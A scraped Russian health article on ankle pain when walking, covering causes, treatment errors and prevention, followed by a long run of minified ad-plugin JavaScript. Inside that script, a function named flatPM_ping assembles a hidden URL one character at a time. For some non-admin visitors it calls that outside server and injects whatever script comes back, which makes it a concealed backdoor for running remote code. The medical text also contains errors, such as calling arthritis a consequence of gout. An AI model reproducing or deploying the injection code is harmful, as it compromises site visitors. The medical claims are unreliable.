Полезное видео про боли в голеностопном суставе

Список источников:

  • Восстановление формы и функции голеностопного сустава/ О. В. Оганесян, С. В. Иванников, А. В. Коршунов // Бином, Медицина, 2003.
  • Болезни суставов. Руководство для врачей / под ред. В. И. Мазурова.// Санкт-Петербург СпецЛит, 2008.
  • Болезни суставов / О. Н. Родионова. // М.: Вектор, 2012.

Источник: https://ortopediya.pro/bol/v-golenostopnom-sustave.html

Болит голеностоп при ходьбе, что делать для устранения боли?

Существует множество причин, по которым болит голеностопный сустав по ходьбе. Как лечить этот недуг, что делать после его обнаружения? Подробно ответим на эти вопросы.

Причины возникновения болей

Если болят суставы, очень важно знать причину подобного дискомфорта. Это поможет максимально быстро подобрать эффективное лечение и приступить к избавлению от недуга.

Для устранения болей прежде всего необходимо устранить причины их возникновения. Рассмотрим самые распространенные из них.

Подагра

Подагра является особым воспалительным процессом, который затрагивает большой палец ноги и непосредственно саму стопу.

Этот недуг может возникать по нескольким причинам:

  • Нарушение обменных веществ в организме.
  • Нарушение в выработке мочевой кислоты.
  • Повышенный процент содержания мочевой кислоты в организме.

Последняя причина возникновения и развития подагры и приводит к болям в голеностопе во время ходьбы. Избыточное количество этого вещества не выводится посредством продуктов жизнедеятельности, а откладывается в организме. Поражаются кровь и суставы.

Артрит

Артрит – заболевание, которое по своей природе схоже с подагрой. Его можно назвать следствием этого недуга.

Артрит проявляется в виде опухоли, которая поражает один или несколько суставов. Эта опухоль возникает из-за избыточного содержания мочевой кислоты и ее отложения в организме.

Данное заболевание характерно для людей пожилого возраста с ограниченной активностью. Оно негативно влияет на состояние суставов ног.

Остеоартрит

Остеоартрит – заболевание, которое непосредственно связано с хрящом голеностопного сустава. Хрящ вследствие многих факторов сильно изнашивается, теряет свои первоначальные свойства, не может выполнять собственные функции в должном объеме.

Это приводит к значительным нарушениям в работе суставов.

Запускать остеоартрит категорически нельзя. При отсутствии своевременных диагностических и лечебных мер хрящ голеностопного сустава может исчезнуть полностью. Образуется сильное трение костей. Это неизбежно приводит к ослаблению мышечных тканей и дисфункции связок.

Псориатический артрит

Это заболевания является одной из разновидностей артрита. Она сопровождается изменением состояния кожных покровов. Начинают появляться высыпания красного цвета, которые напоминают небольшие чешуйки.

Помимо изменения состояния кожных покровов могут наблюдаться такие симптомы, как отечность конечностей и непосредственно болевые ощущения.

Ревматоидный артрит

Эта разновидность артрита характеризуется нарушениями и сбоями в работе иммунной системы. Вследствие этого поражаются суставы и ткани, которые их окружают.

Воспаление в этом случае является долгосрочным, затрагивает абсолютно здоровые ткани.

Септический артрит

Септический артрит связан непосредственно с заражением крови болезнетворными бактериями. Попадание инфекции в организм может осуществляться самыми различными путями?

  • Через порезы и даже не глубокие раны.
  • После оказания неквалифицированной медицинской помощи (проведение хирургических операций в нестерильных условиях и т. д.).
  • После травм и т. д.

Септический артрит может привести к заражению крови и летальному исходу. Основными симптомами этого недуга являются отечность конечности, сильные и продолжительные боли, лихорадка и т. д.

Вывих

Вывих – часто встречающееся явление. Многие даже не догадываются о наличии у себя подобной травмы.

Она сопровождается растяжением или полным разрывом связок. Это и вызывает сильные болевые ощущения.

Вывих можно получить как при несоблюдении техники выполнения различных физических упражнений, так и при прогулке по неровному дорожному покрытию.

Сопровождающими боль симптомами являются отечность конечности, образование гематомы и т. д. Симптоматика полностью зависит от степени тяжести травмы.

Подошвенный фасциит

Подошвенный фасциит – заболевание соединительной ткани, покрывающей костные структуры стопы.

Наиболее часто этому заболеванию подвержены люди, которые регулярно занимаются интенсивной физической активностью. При таком образе жизни на стопы и соединительные ткани в ней оказывается большое давление.

Подвергаются этому недугу и следующие категории людей:

  • Люди с лишним весом.
  • Люди с нарушениями походки.
  • Люди, регулярно носящие неудобную обувь и т. д.

Переломы пяточной кости

Пяточная кость является одним из важнейших компонентов костной структуры организма. Она оказывает огромную поддержку опорно-двигательной системе при ходьбе.

Пяточная кость довольно часто подвержена переломам. Травмировать ее довольно просто – при падении с большой высоты или регулярных нагрузках.

Другие причины

Но существуют и иные причины болей в голеностопном суставе, которые никак не связаны с конкретными травмами и заболеваниями нижних конечностей. К подобным причинам можно отнести:

  • Период беременности у женщины.
  • Цирроз печени.
  • Несбалансированное питание.
  • Острая сердечная недостаточность.
  • Длительное пребывание в положении стоя.
  • Ношение неудобной и неправильно подобранной обуви и т. д.

К кому обращаться при болях в голеностопе?

Довольно часто из-за отсутствия необходимой информации люди откладывают прием у специалиста или не посещают его вовсе. К кому же обращаться при этой проблеме?

Главным специалистом в этой области является травматолог. Даже если боли возникают не из-за трав, этот врач назначит вам эффективную диагностику. По ее результатам и будут приниматься решения о дальнейшем лечении.

Травматолог прежде всего отправит вас на рентген. По снимку уже будет более понятно о причине возникновения болей.

Лечение

Сразу понятно, что для избавления от болей в голеностопе необходимо вылечить причину их возникновения. На основе той информации, которая была описана выше, можно с уверенностью сказать, что эти причины могут быть самыми разными. Лечение в каждом случае подбирает специалист конкретной направленности.

Временно купировать болевые ощущения поможет использование льда. Компрессы со льдом, пузыри с ним – все это способно на время избавить больного от дискомфорта.

Ошибки при лечении

Довольно часто, если болит голеностоп при ходьбе, лечение осуществляют самостоятельно, с помощью народных методов. Не все из них являются эффективными. Многие могут привести к неприятным последствиям. Это еще раз доказывает, что заниматься самолечением нельзя.

Довольно распространенная ошибка в лечении болей стоп – согревание ног. Накладываются различные повязки, бандажи для создания парникового эффекта. Но это может только усугубить отечность ног, усилить болевые ощущения.

Вторая ошибка при лечении – активное растирание и массаж голеностопа. Любые подобные воздействия могут только усилить дискомфорт, особенно в том случае, когда боли возникают из-за проблем со связками.

Необходимые мероприятия

Самая главная задача лечения этого недуга – восстановление голеностопного сустава и купирование сильных болевых ощущений при ходьбе. Обеспечить это можно только посредством комплекса процедур. В него входят следующие мероприятия:

  • Использование обезболивающих средств. Они позволяют быстро устранить дискомфорт и снять сильную боль в ногах. Назначать подобные лекарственные препараты должен только специалист. При подборе медикаментов он учитывает степень тяжести недуга, общее состояние пациента, уровень болевых ощущений и т. д.
  • Наложение бандажа или тугой повязки. Такой метод лечения актуален только в случае растяжения связок. Это позволяет зафиксировать их в нужном положении и ускорить процесс восстановления.
  • При острой необходимости – хирургическое вмешательство. Такая мера является исключительной и применяется довольно редко. Операция необходима при сложном переломе с дроблением костных структур.
  • Фиксация стопы. Она может осуществляться с помощью гипса, бандажа и иных средств. Фиксация необходима для ускорения процедуры реабилитации.
  • Физиотерапия. Такой метод лечения является обязательным шагом для успешного восстановления и реабилитации. Укрепляются связки, мышцы нижних конечностей, поддерживается их тонус.
  • Использование лекарственных средств наружного применения. Это могут быть крема, мази. Они направлены на снятие воспаления, устранение отечности кожных покровов. Могут использоваться только в качестве дополнительных средств.
  • Применение ортопедических средств.
  • Введение большей физической активности. Она необходима для ускорения процедуры реабилитации.
  • Лечебная физкультура. Направлена на поддержание тонуса мышечных тканей и связок, общее укрепление здоровья, улучшение самочувствия.

Многие специалисты советуют регулярно употреблять витаминные комплексы. Они необходимы для поддержания нормального уровня содержания в крови полезных элементов. Это укрепит здоровье больного, улучшит его самочувствие.

Внимание! Назначение витаминных комплексов должно производиться только специалистом. Бесконтрольный прием подобных средств может привести к возникновению и развитию аллергических реакций. При подборе витаминов специалист учитывает состояние вашего здоровья, степень тяжести заболевания и многие другие факторы.

Профилактика

Профилактика – очень важный шаг, который способен сохранить оптимальный уровень вашей активности, поддерживать здоровье на должном уровне. Существует несколько основных правил, которые позволяют избежать боли в голеностопе.

Правильный подбор обуви

Самое первое правило – выбор правильной обуви. Она должна подходить вам по размеру, обеспечивать нормальную устойчивость при ходьбе или беге, препятствование скольжению.

Довольно часто ноги болят и при длительном ношении обуви на высоком каблуке. Стоит ограничить время носки такой обуви до нескольких часов.

Особое внимание стоит уделить обуви для занятий спортом. Она должна быть максимально удобной и комфортной, не сковывать стопу.

Нормализация рациона питания

Второе правило – правильное питание. Правильное питание позволяет не только поддерживать здоровье всего организма, но и избавиться от лишнего веса. Лишний вес является основной причиной избыточного давления на голеностопный сустав. Это и приводит к сильным болям.

Разнообразьте свой рацион полезными продуктами. Это позволит поддерживать нормальный уровень содержания всех необходимых веществ в организме. Не пренебрегайте продуктами, которые содержат в своем составе железо и магний. Они оказывают положительное влияние на состояние костных структур.

Умеренная физическая активность

Внесите в свою жизнь физическую активность. Важно контролировать ее интенсивность и продолжительность. Отличным вариантом для поддержания здоровья ног станут те виды спорта, которые не требуют сильного напряжения и вызывают у вас только положительные эмоции. Займитесь танцами, пилатесом, фитнесом или плаванием.

Регулярно гуляйте на свежем воздухе, катайтесь на велосипеде или на роликах.

Но стоит относится к занятиям спортом с осторожностью. Особенно это актуально для тех случаев, когда имеется предрасположенность к подобным заболеваниям.

Если вы чувствуете сильную усталость, дискомфорт и болевые ощущения в области ног, общее недомогание, необходимо сразу же прекратить занятия спортом, нормализовать дыхание и в дальнейшем придерживаться более умеренных темпов.

Лечебные процедуры

Для стимулирования кровообращения и улучшения состояния тканей можно делать лечебный массаж. Для достижения лучших результатов его необходимо делать регулярно. Выполнять массаж должен специалист.

Отличным методом профилактики и непосредственно восстановления является лечебная физкультура. Комплекс упражнений позволяет восстановить активность мышечных тканей, укрепить сосуды и суставы, восстановить утерянные их функции.

Источник: https://lechenie-nog.ru/chto-delat-esli-golenostopnyj-sustav-bolit-pri-xodbe/

Ссылка на основную публикацию
Adblock
detector
":'':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith(''))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('
'+c+"
"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith(''))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'
Закрыть через '+o.how.outgoing.timer_count+"
":'':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('
'+c+"
");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;eflat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_subflat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub.flatPM_sidebar)");0<_.length&&_.each(function(){var t=ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('
');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data("top");t.wrap('
');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(".flatPM_sticky_wrapper.flatPM_sidebar_block").css("height",t)},4e3)}),"undefined"!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0 *").last().after('
'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()};var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,d=/<([\w:]+)/,i=/<|?\w+;/,c={option:[1,""],thead:[1,"","
"],tbody:[1,"","
"],colgroup:[2,"","
"],col:[3,"","
"],tr:[2,"","
"],td:[3,"","
"],th:[3,"","
"],_default:[0,"",""]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement("div")),n=(d.exec(e)||["",""])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1]+e.replace(o,"<$1>$2>")+n[2],r=n[0];r--;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0/gm,"").replace(//gm,"").trim(),e.code_alt=e.code_alt.replace(//gm,"").replace(//gm,"").trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",n=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,r='
'+a+" через "+o+'
'+n+'
',i=e.once;l(t).each(function(){var e=l(this);e.wrap('
');var t=e.closest(".flat__4_video");-1!==r.indexOf("go"+"oglesyndication")?t.append(r):flatPM_setHTML(t[0],r),e.find(".flat__4_video_flex").one("click",function(){l(this).addClass("show")})}),l("body").on("click",".flat__4_video_item_hover",function(){var e=l(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),n=parseInt(o),r=setInterval(function(){a.text(--n),n<=0&&(clearInterval(r),"true"==d?a.parent().replaceWith(''):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){l(this).closest(".flat__4_video_flex").remove(),"true"==i&&l(".flat__4_video_flex").remove()})};